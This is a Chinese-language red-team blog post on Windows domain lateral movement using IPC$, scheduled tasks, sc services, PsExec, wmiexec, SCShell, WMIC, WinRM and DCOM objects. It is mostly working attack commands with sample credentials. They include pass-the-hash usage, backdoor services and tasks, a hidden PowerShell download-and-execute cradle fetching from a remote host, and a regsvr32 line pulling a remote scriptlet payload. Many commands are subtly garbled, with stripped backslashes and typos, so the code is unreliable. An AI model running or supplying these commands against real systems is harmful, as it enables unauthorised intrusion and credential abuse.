红队技巧-常规横向手法

2021-07-01 15:10:34 浏览数 (1)

前言

域内横向移动技术是红队作战在域内最基本技术之一,红队人员会利用该技术,以被攻陷的系统为跳板,通过已经收集的凭据和密码,来访问域内其他主机,扩大战果,最终目的是获取到dc的访问控制权限。

实操

1.ICP

Ipc(共享命名管道),其作用是为了实现进程间通信而开放的命名管道。ipc可以通过用户名和密码建立ipc链接,获取相应的用户权限。

目标机应开放139和445端口,以支持实现远程登陆和默认共享资源的访问

首先需要在跳板机和目标机建立ipc连接

代码语言:javascript复制
#建立ipc连接
net use \192.168.75.131ipc$ "123456" /user:administrator
#查看当前ipc连接:
net use

然后执行命令:

代码语言:javascript复制
dir  \192.168.75.131c$

当然有了权限,当然得拿shell了

1.1 at计划任务拿shell(管理员权限)

因为要设置计划任务,可能需要对照时间,当然你如果想每分钟就执行一次,就当我没说。

代码语言:javascript复制
net time \192.168.75.131#当前系统时间

复制文件到目标机上:

代码语言:javascript复制
copy Gamma.bat \192.168.75.131c$
#bat里面放入反弹shell的powershell命令,或者什么

在目标主机上创建用户:

代码语言:javascript复制
at \192.168.75.131 5:00PM c:Gamma.bat Added a new job with job ID=10

反弹成功后记得清除计划任务

代码语言:javascript复制
at \192.168.75.131 10 /delete

1.2 Schtasks

at 命令在windows2008以后的版本被废除了,这时候就用schtasks命令来代替

还是老规矩上传脚本到服务器,或者你直接上传木马也行的。

然后创建计划任务

代码语言:javascript复制
Schticks /create /s 192.168.75.131 /tn Gamma /sc onstart /tr c:gamma.exe /ru system /f

但也有些时候,由于当前权限或组策略设置等原因,该schtasks方法远程创建计划任务可能会报错拒绝访问:遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码,如下:

代码语言:javascript复制
schtasks /create /s 192.168.183.130 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:shell.exe /ru system /f

然后执行如下命令立即运行该计划任务(也可以自己等一分钟):

代码语言:javascript复制
schtasks /run /s 192.168.75.131 /i /tn backdoor
// i:忽略任何限制立即运行任务schtasks /run /s 192.168.183.130 /i /tn backdoor /u administrator /p 0XAXSDD   // 遇到上面所说的报错时执行加上/u和/p参数分别设置高权限用户名和密码

1.3 创建Windows服务来进行横向渗透

依赖条件:

- 当前跳板机用户具有管理员权限(因为要创建服务)。

- 与目标机器已经建立ipc连接

利用 sc 命令

在windows系统命令提示符中,有一个SC工具命令集。该工具集主要用来对操作系统服务进行管理,该命令是由service一词,简化而来的。我们可以用sc对目标主机远程创建服务来进行横向渗透

使用sc命令远程Windows服务操作需先建立IPC$连接,否则在执行时会返回拒绝访问。

流程基本如下:

1. 先让跳板机与内网目标机DC建立ipc连接。

2. 然后让跳板机使用copy命令远程操作,将metasploit生成的payload文件Gamma.exe复制到目标主机DC系统C盘中。

3. 再在目标主机DC上创建一个名称为“backdoor”的服务。命令如下:

代码语言:javascript复制
sc \[主机名/IP] create [servicename] binpath= "[path]"   #创建计划任务启动程序

sc \WIN-ENS2VR5TR3N create bindshell binpath= "c:Gamma.exe"

4.立即启动该服务:

代码语言:javascript复制
sc \WIN-ENS2VR5TR3N start bindshell

5.使用完后删除刚才创建的服务

代码语言:javascript复制
sc \[host] delete [servicename]

1.4 工具

PSEXEC: · Msf windows/smbexec · Msf admin/smbexec_command · Impacket psexec 需要远程系统开启admin$(打了kb2871997情况下)共享,建立IP超链接后可以不指定用户名和密码,不能仅拷贝文件不执行,拷贝时可以建立ipc连接后拷贝在启动psexec建立连接后,远程系统上会被安装psexecsvc服务,安装服务会留下日志。

执行原理:

1.通过ipc$连接,copy psexecsvc.exe到目标机器

2.通过服务管理SCManager远程创建psexecsvc服务,并启动服务。

3.客户端连接执行命令,服务端启动相应的程序并执行回显数据。

4.运行完后删除服务。

使用:

第一步先建立ipc共享

第二步使用psexec进入半交互式shell

代码语言:javascript复制
psexec.exe \192.168.0.1 cmd

可以直接一步搞定

代码语言:javascript复制
psexec.exe \10.10.10.10 –u administrator –p password

wmiexec

· Impacket wmiexec

· Powershell Invoke-WMIExec

· pth-wmic

· exe

wmi全称是Windows management instrumentation,它出现在所有的Windows操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的Windows系统,攻击者使用wmi来进行攻击,但Windows系统默认不会再日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。

而wmiexec是模拟psexec功能的vbs脚本

执行原理:

1.WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机。

2.如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。

3.WMI会建立一个共享文件夹,用于远程读取命令执行结果。

4.当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。

5.通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。

6.当结果读取完成时,调用WMI执行命令删除结果文件,最后当WMIEXEC退出时,删除文件共享。

使用:

获取半交互式shell

代码语言:javascript复制
cscript.exe  wmiexec.vbs /shell 192.168.75.1 username password
cscript.exe  wmiexec.vbs /shell 192.168.75.1  doaminusername password

直接执行命令:

代码语言:javascript复制
cscript.exe wmiexec.vbs /cmd 192.168.75.1username password “whoami”

如果只拿到hash情况下:

代码语言:javascript复制
cscript.exe wmiexec -hashes :$HASH$ hostname/administrator@192.168.75.131
cscript.exe wmiexec -hashes :$HASH$ domain/administrator@192.168.75.131 "whoami"
cscript.exe wmiexec -hashes :$HASH$ administrators@192.168.75.131 "whoami"

如果你嫌弃每次都要输入hash密码很麻烦,你可以用wce 将hash注入到本地的认证进程lsass.exe中去,然后直接:

代码语言:javascript复制
wmiexec.vbs /shell 192.168.75.131

SCShell

SCShell是无文件横向移动工具,它依赖ChangeServiceConfigA来运行命令,该工具的优点在于它不会针对SMB执行身份验证,一切都通过DCERPC执行,无需创建服务,而只需通过ChangeServiceConfigAAPI 远程打开服务并修改二进制路径名即可(所以要事先知道目标上的服务名称,支持py和exe两种文件类型)。

github地址:https://github.com/Mr-Un1k0d3r/SCShell

代码语言:javascript复制
Usage:
SCShell.exe target service payload domain username password

远程执行:

代码语言:javascript复制
SCShell.exe 192.168.197.131 XblAuthManager "C:windowssystem32cmd.exe /c C:windowssystem32regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password

#依赖:pip install impacket
python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

#使用标准传递哈希方法设置当前流程令牌。
sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe

2.WMI

WMI是一项核心的Windows管理技术,WMI作为一种规范和基础结构,通过它可以访问、配置、管理和监视几乎所有的Windows资源,比如用户可以在远程计算机器上启动一个进程;设定一个在特WMI允许脚本语言(例如VBScript或Windows PowerShell)在本地和远程管理Microsoft Windows 个人计算机和服务器,支持账户密码或hash认证。

利用条件

1.目标开放135端口

2.1 wmic

WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。

这种方式执行命令无回显,但用来执行木马搓搓有余。

代码语言:javascript复制
wmic /node:192.168.75.131 /user:administrator /password:123456 process call create "c:windowstempGamma.exe"

执行powershell远程下载木马执行:

代码语言:javascript复制
wmic /NODE:192.168.75.131/user:"administrator" /password:"123456" process call create "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.3.86:80/a'))""

如果要使用hash,直接wce注入到当前内存就行

还可以通过生成恶意的msi文件,通过共享上传到目标机器,然后安装

代码语言:javascript复制
net use \192.168.1.105c$ /user:administrator@ignite.local; copy C:raj.msi \192.168.1.105c$PerfLogssetup.msi ; wmic /node:192.168.1.105 /user:administrator@ignite.local product call install PackageLocation=c:PerfLogssetup.msi

2.2 工具

WMIcmd(主要用于工作组横向移动)

WMIcmd需使用 -d 参数指定域或计算机名WMIcmd需使用 -d 参数指定域或计算机名

代码语言:javascript复制
WMIcmd.exe -h 192.168.75.131 -u administrator -p 123456 -d Gamma -c "ipconfig"

Invoke-WMIExec.ps1

代码语言:javascript复制
Invoke-WMIExec -Target 192.168.75.131 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
Invoke-WMIExec -Target 192.168.75.131 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command" -verbose

wmiexec.py

代码语言:javascript复制
#工作组
python wmiexec.py -hashes 518b98ad4178a53695dc997aa02d455c administrator@1192.168.75.131 "whoami" 
#域用户
python wmiexec.py -hashes 518b98ad4178a53695dc997aa02d455c 域名/administrator@192.168.75.131 "whoami"

3.winRM

WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议[SOAP]的 “防火墙友好” 协议,它让来自不同供应商的硬件和操作系统能够互相操作。

winRM的默认端口为5985(http)或5986(https)。

利用条件:

1、在win 2012之后(包括win 2012)的版本是默认开启的,win 2012之前利用需要手动开启winRM。

2、防火墙对5986、5985端口开放。

3、被横行主机信任网络中的主机(Set-Item WSMan:localhostclienttrustedhosts -value *,或直接指定信任单个主机)

查看本地是否运行winRM服务

代码语言:javascript复制
netstat -ano |findstr 5985
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

检测哪些主机被信任:

代码语言:javascript复制
Get-Item WSMan:localhostClientTrustedHosts

利用powershell对主机建立PSRemoting会话

代码语言:javascript复制
#powershell
New-PSSession -ComputerName hostname -Credential (Get-Credential)
#或者直接命令
Invoke-Command <host> -Credential $cred -ScriptBlock {Hostname}
#如果当前内存中没有凭证,则可以输入凭证
Enter-PSSession <host> -Credential <domain><user>
#使用kerberos协议认证
Enter-PSSession <host> -Authentication Kerberos
#上传文件
Copy-Item -Path C:TempPowerView.ps1 -Destination C:Temp -ToSession (Get-PSSession)
#下载文件
Copy-Item -Path C:UsersAdministratorDesktop111.txt -Destination C:Temp -FromSession (Get-PSSession)
#进入会话
Enter-PSSession 1

1.使用winrs.exe来执行远程命令利用(使用这个工具需要明文密码)

Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在WinRm的适当的有资格的用户。命令支持各种开关以及使用备用凭据进行身份验证的能力。

代码语言:javascript复制
winrs /r:https://contoso.com /t:600 /u:administrator /p:$%fgh7 ipconfig

2.Winrm.vbs(通过Winrm.cmd调用)

Winrm.vbs是一个Visual Basic脚本,允许管理员“配置WinRM并获取数据或管理资源”

是基于WinRM脚本API,而这个api使我们使能够从远程计算机执行WS-Management协议操作和获得数据。

我们可以利用一个非常著名的WMI类,Win32_Process,可通过利用来生成(远程)进程执行命令。

代码语言:javascript复制
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad"} -r:corp-dc

3.上线cs

在cs中有winrm的横向方法,利用成功会自动返回一个会话,当然如果不出网的话我们就需要借助cs中的一个中转手法。

winrm x86 Run a PowerShell script via WinRM

winrm64 x64 Run a PowerShell script via WinRM

无法访问的情况

WinRM服务将在Windows Server 2008和更高版本上自动启动(在Windows Vista中,需要手动启动该服务)。

默认情况下,未配置WinRM侦听器。即使WinRM服务正在运行,也无法接收或发送请求数据的WS-Management协议消息。

Internet连接防火墙(ICF)阻止访问端口。

4.使用COM对象进行横向

DCOM是[COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx)(组件对象模型)的扩展,它允许应用程序实例化和访问远程计算机上COM对象的属性和方法,就像使用基于DCERPC的DCOM协议在本地计算机上的对象一样,有关每个COM(和DCOM)对象的标识,实现和配置的信息存储在注册表中,并与一些重要的标识符相关联:

代码语言:javascript复制
CLSID     -所述类标识符是一个GUID,它充当一个COM类的唯一标识符,并且每一个在Windows注册类与CLSID相关联(COM对象可以在没有登记使用,但是这超出了本文的范围) 。注册表中的CLSID密钥指向类的实现,如果是基于dll的对象,则使用InProcServer32子项;如果是exe ,则使用LocalServer32项。
ProgID    -该编程标识符是一个可选的标识符,其可被用作对用户更友好的替代一个CLSID,因为它不必是一定要GUID格式(“System.AppDomainManager”,例如,是比GUID容易得多)。ProgID不能保证是唯一的,并且与CLSID不同,并非每个类都与ProgID相关联。
AppID     -该应用程序标识符用于指定一个的配置或多个COM对象与同一可执行相关联。这包括授予各个组的权限,以在本地和远程实例化和访问关联的类

为了使DCOM可访问COM对象,必须将AppID与该类的CLSID关联,并且需要为该AppID提供适当的权限。没有关联的AppID的COM对象不能从远程计算机直接访问。

在powershell中我们可以使用

代码语言:javascript复制
get-CimInstance来列出本地COM程序列表

远程DCOM对象的实例表现如下:

代码语言:javascript复制
客户端计算机从远程计算机请求实例化由CLSID表示的对象。如果客户端使用ProgID,则首先将其本地解析为CLSID。
远程计算机检查是否存在与所讨论的CLSID关联的AppID,并验证客户端的权限。
如果一切顺利,则DCOMLaunch服务将创建所请求类的实例,通常是通过运行LocalServer32子项的可执行文件,或者通过创建DllHost进程来承载InProcServer32子项引用的dll。
在客户端应用程序和服务器进程之间建立通信。在大多数情况下,新过程是在与DCOM通信关联的会话中创建的。
然后,客户端可以访问新创建的对象的成员和方法。

利用思路就是找到一些默认权限(DefaultLaunchPermission)的COM程序来进行利用

1.使用EXCEL DDEß

利用:

第一步,创建对象的实例,使用ProgID

代码语言:javascript复制
$a = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.75.130"))

第二步,实现执行命令:

代码语言:javascript复制
$a.DisplayAlerts = $false  //DisplayAlerts属性控制DDEInitiate提出的警报。false为关
$a.DDEInitiate("cmd","/c calc,exe")

2.MMC20.APPLICATION

创建MMC20.Application 对象的实例:

代码语言:javascript复制
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ,"192.168.75.130")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")

3.SHELLWINDOWS

创建ShellWindows对象的实例:

代码语言:javascript复制
$a =  [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.75.130")) | Get-member

使用“ Document.Application”属性的“ ShellExecute”方法运行任意命令:

代码语言:javascript复制
$a =  [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.75.130")).Document.Application.ShellExecute("cmd.exe","/c clac.exe"."c:windows32system",$null,0)

说明:

与大多数其他方法不同,ShellWindows不会创建进程。相反,它会激活现有explorer.exe进程内部的类实例,该进程执行子进程。为了进行通信,主机explorer.exe在DCOM端口上打开了一个侦听套接字,该套接字应明确标记此技术。

4.SHELLBROWSERWINDOW

首先创建ShellBrowserWindow对象的实例:

复制GUID

代码语言:javascript复制
$a =  [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.75.130"))

我们再次能够通过“ Document.Application”属性的“ ShellExecute”方法运行命令:

代码语言:javascript复制
$a =  [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.75.130")).Document.Application.shellExecute("calc.exe")

与ShellWindows一样,此方法由现有的explorer.exe进程托管,再次具有带有监听套接字的explorer.exe进程的指示器。

5.VISIO ADDON EXECUTION

虽然不是默认Office安装的一部分,因此没有普及,但Visio提供了可用于横向移动的DCOM对象。

创建Visio对象的实例。这可以通过Visio.Application ProgID或通过Visio.InvisibleApp ProgID完成:

这里使用的是ProgID

代码语言:javascript复制
$a =  [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.75.130"))

Visio插件可以实现为独立进程,并且Visio允许将任何可执行文件作为自定义插件加载。这可以用来执行命令:

代码语言:javascript复制
$a =  [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.75.130")).[0].document.app;ication.shellExecute("calc")

注意:

目标主机中安装有Visio才能成功利用。

6.Outlook

在Outlook对象允许实例化和任意COM相互作用通过“创建对象”对象方法。这使攻击者可以与远程计算机上的COM对象进行交互,这些对象通常不会由DCOM公开。

创建Outlook对象的实例

代码语言:javascript复制
$a =  [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","192.168.75.130"))

可以通过通过Outlook创建Shell.Application对象来实现命令行执行:

代码语言:javascript复制
$a =  [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","192.168.75.130")) .createObject("Shell.Application")
$a.shellExecute(calc.exe)

该命令作为Outlook的直接子进程运行。

注意:

可以将“ Shell.Application”(已加载的shell32.dll中实现)对象替换为“ Wscript.Shell”.

7.Excel XLL (Excel进程加载恶意的DLL)

XLL库可以扩展Excel,XLL库只是导出特定功能的DLL。Excel.Application对象通过RegisterXLL方法利用此功能。

代码语言:javascript复制
$a =  [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.APPLICATION","192.168.75.130")) .RegisterXLL("我们的恶意DLL路径")

8.任意脚本执行

通过CreateObject和ScriptControl执行OutlookScript

使用Outlook访问ScriptControl COM类,攻击者(我们)可以利用该字符串运行以字符串格式提供的脚本:

代码语言:javascript复制
$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","192.168.75.130")) .CreateObject("b")
$b.language = "VBScript"
$b.AddCode('CreateObject("Wcript.Shell").Exec("Calc.exe")')

ScriptControl对象是在msscript.ocx中实现的,很少使用,并且合法地加载此对象的Outlook实例是极为罕见的现象。此外,我们可以将加载jscript.dll或vbscript.dll来运行脚本本身。

限制:

ScriptControl对象仅在32位版本中可用。由于64位进程无法加载32位inproc对象,因此64位Outlook无法与该对象进行交互。

Visio对象提供了一种直接方法,可以使用“ ExecuteLine”方法从字符串运行VBA的任何代码:

代码语言:javascript复制
$a = [activator]::CreateInstance([type]::GetTypeFromProgID("a.invisibleapp","192.168.75.130"))
$b = $a.documents.Add("")
$b.Executeline('CreateObject("wscript.Shell").exec("calc.exe")')

VBE7.dll和ScrRun.dll已加载到Visio进程中

注意:

ExecuteLine方法仅允许执行一行代码。通过使用冒号(:)符号将语句分隔在一行上,可以绕过此操作。

END

0 人点赞